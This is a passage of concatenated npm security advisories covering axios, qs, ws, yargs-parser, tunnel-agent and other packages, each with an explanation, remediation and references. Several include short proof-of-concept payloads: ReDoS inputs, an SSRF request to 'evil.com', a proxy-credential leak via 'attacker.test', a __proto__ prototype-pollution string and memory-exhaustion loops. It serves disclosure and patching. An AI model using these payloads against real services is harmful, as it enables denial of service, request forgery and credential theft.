$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade hoek to version 4.2.1, 5.0.3 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• HackerOne Report
• NPM Security Advisory

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the parseArrayValue() comma-parsing logic, which applies the arrayLimit and throwOnLimitExceeded checks only to flat values, so a bracket-key input such as a[]=1,2,3,4 is treated as non-flat and its comma-split inner array is wrapped after parsing without ever being length-checked. An attacker can exceed the configured array limit and force excessive memory allocation by supplying a query string or form body that uses the bracket-key comma form, for example a[]=1,2,3,.... This requires the application to parse untrusted input with the comma: true option enabled alongside a configured arrayLimit or throwOnLimitExceeded.

PoC

const qs = require('qs')
const options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true }

const result = qs.parse('a[]=1,2,3,4', options)
console.log(result.a[0].length) // 4; expected RangeError

const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 })
console.log(big.a[0].length) // 1000001

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.16.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Gist
• GitHub Issue
• GitHub PR
• GitHub PR
• Vulnerable Code

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

• GitHub Issue
• GitHub PR

Overview

https-proxy-agent is a module that provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in https module.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). When targeting a HTTP proxy, https-proxy-agent opens a socket to the proxy, and sends the proxy server a CONNECT request. If the proxy server responds with something other than a HTTP response 200, https-proxy-agent incorrectly returns the socket without any TLS upgrade. This request data may contain basic auth credentials or other secrets, is sent over an unencrypted connection. A suitably positioned attacker could steal these secrets and impersonate the client.

PoC

var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');

var proxyOpts = url.parse('http://127.0.0.1:80');
var opts = url.parse('https://www.google.com');
var agent = new HttpsProxyAgent(proxyOpts);
opts.agent = agent;
opts.auth = 'username:password';
https.get(opts);

Remediation

Upgrade https-proxy-agent to version 2.2.3 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• HackerOne Report

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.

Note:

This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). An attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Remediation

Upgrade axios to version 0.21.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Security Advisory
• NPM Advisory

Overview

yargs-parser is a mighty option parser used by yargs.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Our research team checked several attack vectors to verify this vulnerability:

1. It could be used for privilege escalation.
2. The library could be used to parse user input received from different sources:
   • terminal emulators
   • system calls from other code bases
   • CLI RPC servers

PoC by Snyk

const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.

References

• Command Injection PoC
• GitHub Fix Commit
• Snyk Research Blog

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js‎. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking the cookie header to a third party site in the process of fetching a remote URL with the cookie in the request body. If the response contains a location header, it will follow the redirect to another URL of a potentially malicious actor, to which the cookie would be exposed.

Remediation

Upgrade follow-redirects to version 1.14.7 or higher.

References

• GitHub Commit

Overview

string is a JavaScript library for extra String methods.

Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS). It uses regex in the underscore and unescapeHTML methods, which can cause a slowdown of 2 seconds 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fix version for string.

References

• Github Issue

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

##PoC

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.

References

• GitHub Commit

Overview

tunnel-agent is HTTP proxy tunneling agent. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.

A possible memory disclosure vulnerability exists when a value of type number is used to set the proxy.auth option of a request request and results in a possible uninitialized memory exposures in the request body.

This is a result of unobstructed use of the Buffer constructor, whose insecure default constructor increases the odds of memory leakage.

Details

Constructing a Buffer class with integer N creates a Buffer of length N with raw (not "zero-ed") memory.

In the following example, the first call would allocate 100 bytes of memory, while the second example will allocate the memory needed for the string "100":

// uninitialized Buffer of length 100
x = new Buffer(100);
// initialized Buffer with value of '100'
x = new Buffer('100');

tunnel-agent's request construction uses the default Buffer constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw server side memory, potentially holding secrets, private data and code. This is a similar vulnerability to the infamous Heartbleed flaw in OpenSSL.

Proof of concept by ChALkeR

require('request')({
  method: 'GET',
  uri: 'http://www.example.com',
  tunnel: true,
  proxy:{
      protocol: 'http:',
      host:"127.0.0.1",
      port:8080,
      auth:80
  }
});

You can read more about the insecure Buffer behavior on our blog.

Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.

Remediation

Upgrade tunnel-agent to version 0.6.0 or higher. Note This is vulnerable only for Node <=4

References

• https://github.com/request/tunnel-agent/commit/9ca95ec7219daface8a6fc2674000653de0922c0
• https://gist.github.com/ChALkeR/fd6b2c445834244e7d440a043f9d2ff4